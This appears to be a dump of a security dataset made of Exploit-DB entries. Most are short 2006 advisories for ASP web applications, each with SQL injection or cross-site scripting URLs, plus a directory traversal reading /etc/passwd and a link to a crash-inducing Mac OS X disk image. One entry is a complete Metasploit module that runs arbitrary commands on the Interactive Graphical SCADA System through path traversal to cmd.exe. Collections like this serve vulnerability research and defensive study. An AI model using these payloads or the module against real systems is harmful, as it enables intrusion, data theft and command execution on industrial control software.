QLWD/code_shield huggingface dataset:
标题: Klf-Realty 2.0 - 'detail.asp?property_id' SQL Injection EDB-ID: 29143 CVE: 2006-6342 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21199/info
 
Klf-Realty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/detail.asp?property_id='[sql] URL: https://www.exploit-db.com/exploits/29143
标题: JiRos Link Manager 1.0 - 'openlink.asp?LinkID' SQL Injection EDB-ID: 29152 CVE: 2006-6147 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21226/info

JiRos Links Manager is prone to multiple input-validation vulnerabilities, including SQL- and HTML-injection issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation; other attacks are possible.

http://www.example.com/openlink.asp?LinkID='[sql] URL: https://www.exploit-db.com/exploits/29152
标题: CreaDirectory 1.2 - 'addlisting.asp?cat' Cross-Site Scripting EDB-ID: 29155 CVE: 2006-6082 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21230/info
 
Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/addlisting.asp?cat=[xss] URL: https://www.exploit-db.com/exploits/29155
标题: JiRos Link Manager 1.0 - 'viewlinks.asp?categoryId' SQL Injection EDB-ID: 29153 CVE: 2006-6147 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/21226/info
 
JiRos Links Manager is prone to multiple input-validation vulnerabilities, including SQL- and HTML-injection issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation; other attacks are possible.
 
http://www.example.com/viewlinks.asp?CategoryID='[sql] URL: https://www.exploit-db.com/exploits/29153
标题: Apple Mac OSX 10.4.8 - UDIF Disk Image Remote Denial of Service EDB-ID: 29144 CVE: 2006-6062 类型: DOS 平台: OSX 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21201/info

Apple Mac OS X is prone to a remote denial-of-service vulnerability when handling specially crafted UDIF disk image files.

Successfully exploiting this issue allows remote users to crash affected computers, denying service to legitimate users.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.

Note: Further information from Alastair Houghton reports that this issue cannot be exploited to execute arbitrary code. See the references for details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29144.dmg.bz2 URL: https://www.exploit-db.com/exploits/29144
标题: Rapid Classified 3.1 - 'search.asp' Cross-Site Scripting EDB-ID: 29135 CVE: 2006-6929 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21197/info
  
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/search.asp?categoryName=1&SH1=[xss] URL: https://www.exploit-db.com/exploits/29135
标题: Rapid Classified 3.1 - 'advsearch.asp' Cross-Site Scripting EDB-ID: 29137 CVE: 2006-6929 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21197/info
    
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
http://www.example.com/advsearch.asp?zipr=1&D1=0&D4=1&zipOpt=20&dosearch=[xss] URL: https://www.exploit-db.com/exploits/29137
标题: The Classified Ad System 3.0 - 'default.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29141 CVE: 2006-6768 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21198/info

The Classified Ad System is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.0 is vulnerable; other versions may also be affected.

http://www.example.com/default.asp?action=view1&cat=[xss]
http://www.example.com/default.asp?action=view1&cat=40&main=[xss] URL: https://www.exploit-db.com/exploits/29141
标题: Rapid Classified 3.1 - 'reply.asp' Cross-Site Scripting EDB-ID: 29136 CVE: 2006-6929 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21197/info
   
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/reply.asp?id=50120815480100001&name=[xss] URL: https://www.exploit-db.com/exploits/29136
标题: Rapid Classified 3.1 - 'viewad.asp' SQL Injection EDB-ID: 29133 CVE: 2006-6930 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21197/info

Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/viewad.asp?id='[sql] URL: https://www.exploit-db.com/exploits/29133
标题: Rapid Classified 3.1 - 'view_print.asp' Cross-Site Scripting EDB-ID: 29134 CVE: 2006-6929 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21197/info
 
Rapid Classified is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/view_print.asp?id=[xss] URL: https://www.exploit-db.com/exploits/29134
标题: Gnews Publisher - Multiple SQL Injections EDB-ID: 29126 CVE: 2006-6080 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21194/info 

Gnews Publisher is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/categories.asp?catID=[SQL Injection]
http://www.example.com/categories.asp?editorID=[SQL Injection] URL: https://www.exploit-db.com/exploits/29126
标题: Vikingboard 0.1.2 - 'admin.php?act' Traversal Arbitrary File Access EDB-ID: 29128 CVE: 2006-6284 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21196/info

Vikingboard is prone to multiple HTML-injection vulnerabilities and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to access sensitive information, to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; further attacks are possible as well.

Version 1.0.2 is vulnerable; other versions may also be affected.

http://www.example.com/admin.php?act=../../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29128
标题: Klf-Realty 2.0 - 'search_listing.asp' Multiple SQL Injections EDB-ID: 29142 CVE: 2006-6342 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21199/info

Klf-Realty is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/search_listing.asp?category='[sql]
http://www.example.com/search_listing.asp?agent='[sql] URL: https://www.exploit-db.com/exploits/29142
标题: Interactive Graphical SCADA System - Remote Command Injection (Metasploit) EDB-ID: 29129 CVE: 2011-1566 类型: REMOTE 平台: WINDOWS 发布日期: 2013-10-22 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
      'Description'    => %q{
          This module abuses a directory traversal flaw in Interactive
        Graphical SCADA System v9.00. In conjunction with the traversal
        flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
        may be able to execute arbitrary system commands.
      },
      'Author'         =>
        [
          'Luigi Auriemma',
          'MC'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-1566'],
          [ 'OSVDB', '72349'],
          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 153,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Windows', {} ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 21 2011'))

    register_options(
      [
        Opt::RPORT(12397)
      ], self.class)
  end

  def exploit

    print_status("Sending exploit packet...")

    connect

    packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V')
    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
    packet << "\x00" * (143) #

    sock.put(packet)
    sock.get_once(-1,0.5)
    disconnect

  end

end URL: https://www.exploit-db.com/exploits/29129
标题: Enthrallweb eHomes - 'result.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29124 CVE: 2006-6205 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21193/info
   
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
http://www.example.com/result.asp?city=[xss]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=[xss] URL: https://www.exploit-db.com/exploits/29124
标题: Grandora Rialto 1.6 - 'searchoption.asp' Multiple SQL Injections EDB-ID: 29113 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
      
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
      
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
      
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchoption.asp?I12=1&cat=all&area='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1=0&acreage2=.5&squarefeet1='[sql] URL: https://www.exploit-db.com/exploits/29113
标题: Enthrallweb eHomes - 'compareHomes.asp' Multiple SQL Injections EDB-ID: 29122 CVE: 2006-6204 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21193/info
 
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/compareHomes.asp?compare='[sql]
http://www.example.com/compareHomes.asp?compare=Compare&clear='[sql]
http://www.example.com/compareHomes.asp?compare=Compare&clear=Clear&adID='[sql] URL: https://www.exploit-db.com/exploits/29122
标题: Grandora Rialto 1.6 - 'searchmain.asp' Multiple SQL Injections EDB-ID: 29112 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
     
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
     
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
     
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchmain.asp?I1=1&area='[sql]
http://www.example.com/searchmain.asp?I1=1&area=all&cat='[sql] URL: https://www.exploit-db.com/exploits/29112
标题: Grandora Rialto 1.6 - 'forminfo.asp?refno' Cross-Site Scripting EDB-ID: 29117 CVE: 2006-6928 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
          
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
          
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
          
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/forminfo.asp?refno=[xss] URL: https://www.exploit-db.com/exploits/29117
标题: Grandora Rialto 1.6 - 'listmain.asp?cat' Cross-Site Scripting EDB-ID: 29114 CVE: 2006-6928 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
       
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
       
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
       
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listmain.asp?cat=[xss] URL: https://www.exploit-db.com/exploits/29114
标题: Enthrallweb eHomes - 'result.asp' Multiple SQL Injections EDB-ID: 29123 CVE: 2006-6204 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21193/info
  
eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice='[sql]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice=0&amaxprice='[sql]
http://www.example.com/result.asp?city=1&cat=2&imageField2=1&State=1&aminprice=0&amaxprice=10000000&abedrooms='[sql] URL: https://www.exploit-db.com/exploits/29123
标题: Grandora Rialto 1.6 - 'searchkey.asp?Keyword' Cross-Site Scripting EDB-ID: 29115 CVE: 2006-6928 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
        
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
        
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
        
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchkey.asp?Keyword=[xss] URL: https://www.exploit-db.com/exploits/29115
标题: Enthrallweb eClassifieds - 'dircat.asp?cid' SQL Injection EDB-ID: 29119 CVE: 2006-6208 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21192/info
 
eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/dircat.asp?cid=[sql] URL: https://www.exploit-db.com/exploits/29119
标题: Enthrallweb eClassifieds - 'dirSub.asp?sid' SQL Injection EDB-ID: 29120 CVE: 2006-6208 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21192/info
  
eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/dirSub.asp?sid=[sql] URL: https://www.exploit-db.com/exploits/29120
标题: Grandora Rialto 1.6 - 'printmain.asp?ID' SQL Injection EDB-ID: 29110 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
   
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/printmain.asp?ID='[sql] URL: https://www.exploit-db.com/exploits/29110
标题: Enthrallweb eHomes - 'homeDetail.asp?AD_ID' SQL Injection EDB-ID: 29121 CVE: 2006-6204 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21193/info

eHome is prone to multiple input-validation vulnerabilities, including cross-site scripting, and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/homeDetail.asp?AD_ID='[sql] URL: https://www.exploit-db.com/exploits/29121
标题: Grandora Rialto 1.6 - 'searchmain.asp?cat' Cross-Site Scripting EDB-ID: 29116 CVE: 2006-6928 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
         
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
         
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
         
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchmain.asp?I1=1&area=all&cat=[xss] URL: https://www.exploit-db.com/exploits/29116